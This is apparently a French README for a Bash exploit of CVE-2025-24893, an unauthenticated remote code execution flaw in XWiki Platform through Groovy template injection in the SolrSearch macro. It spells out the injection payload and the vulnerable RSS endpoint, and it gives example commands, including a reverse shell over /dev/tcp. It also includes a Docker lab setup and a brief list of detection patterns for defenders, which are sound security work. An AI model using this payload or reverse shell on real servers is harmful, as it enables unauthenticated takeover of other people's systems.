
Exploit Bash pour CVE-2025-24893, RCE non authentifié dans XWiki Platform, utilisant l'injection de template dans la macro SolrSearch pour exécuter des commandes système arbitraires.
Ce script est une implémentation Bash remaniée d'un exploit ciblant les versions de XWiki Platform affectées par CVE-2025-24893. Il exploite une vulnérabilité critique d'exécution de code à distance non authentifiée qui permet à un attaquant d'exécuter du code Groovy arbitraire via une faille d'injection de template dans la macro SolrSearch.
Les implémentations originales de l'exploit en Python ont été créées par divers chercheurs en sécurité et sont adaptées ici pour les utilisateurs Bash avec une exécution simplifiée et une meilleure ergonomie.
text lorsqu'elle est consultée via le point de terminaison RSS media, permettant à un attaquant d'injecter du code Groovy malveillant dans le pipeline de rendu sans authentification.curl : Pour envoyer des requêtes HTTP.jq : Pour encoder l'URL de la charge utile.Attribuez les permissions d'exécution :
chmod +x CVE-2025-24893
Exécutez le script avec les arguments requis :
./CVE-2025-24893 <url_cible> <commande>
| Paramètre | Description |
|---|---|
<url_cible> | L'URL XWiki cible (ex. http://example.com ou https://xwiki.example.org). Le protocole est optionnel. |
<commande> | La commande système à exécuter sur le serveur cible. |
Vérifier si la cible est vulnérable (exécuter la commande id) :
./CVE-2025-24893 http://vulnerable-xwiki.example.com "id"
Récupérer les informations système :
./CVE-2025-24893 http://vulnerable-xwiki.example.com "uname -a"
Créer un fichier de test :
./CVE-2025-24893 http://vulnerable-xwiki.example.com "touch /tmp/pwned"
Shell inversé (remplacer par votre IP et port) :
./CVE-2025-24893 http://vulnerable-xwiki.example.com "bash -c 'bash -i >& /dev/tcp/VOTRE_IP/VOTRE_PORT 0>&1'"
Analyse des arguments en ligne de commande :
http:// si aucun protocole n'est spécifié.Construction de la charge utile :
.execute().}}}{{async async=false}}{{groovy}}<code>{{/groovy}}{{/async}}Encodage URL :
jq pour une transmission HTTP correcte.Exploitation :
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<charge_encodée>La chaîne d'exploitation fonctionne comme suit :
}}}{{async async=false}}{{groovy}}'<commande>'.execute();{{/groovy}}{{/async}}
}}} - Ferme tout contexte de macro existant{{async async=false}} - Assure une exécution synchrone{{groovy}}...{{/groovy}} - Enveloppe le code Groovy malveillant'<commande>'.execute(); - Exécute la commande système spécifiéeÀ des fins de test, vous pouvez configurer une instance XWiki vulnérable avec Docker :
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
# Attendez que XWiki démarre (peut prendre 1 à 2 minutes)
./CVE-2025-24893 http://localhost:8080 "whoami"
Une exploitation réussie de cette vulnérabilité permet à un attaquant non authentifié de :
Selon la CISA et plusieurs éditeurs de sécurité :
Surveillez les requêtes suspectes vers le point de terminaison SolrSearch :
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
Recherchez des motifs contenant :
{{groovy}}{{async}}.execute()/tmp ou autres répertoires inscriptibles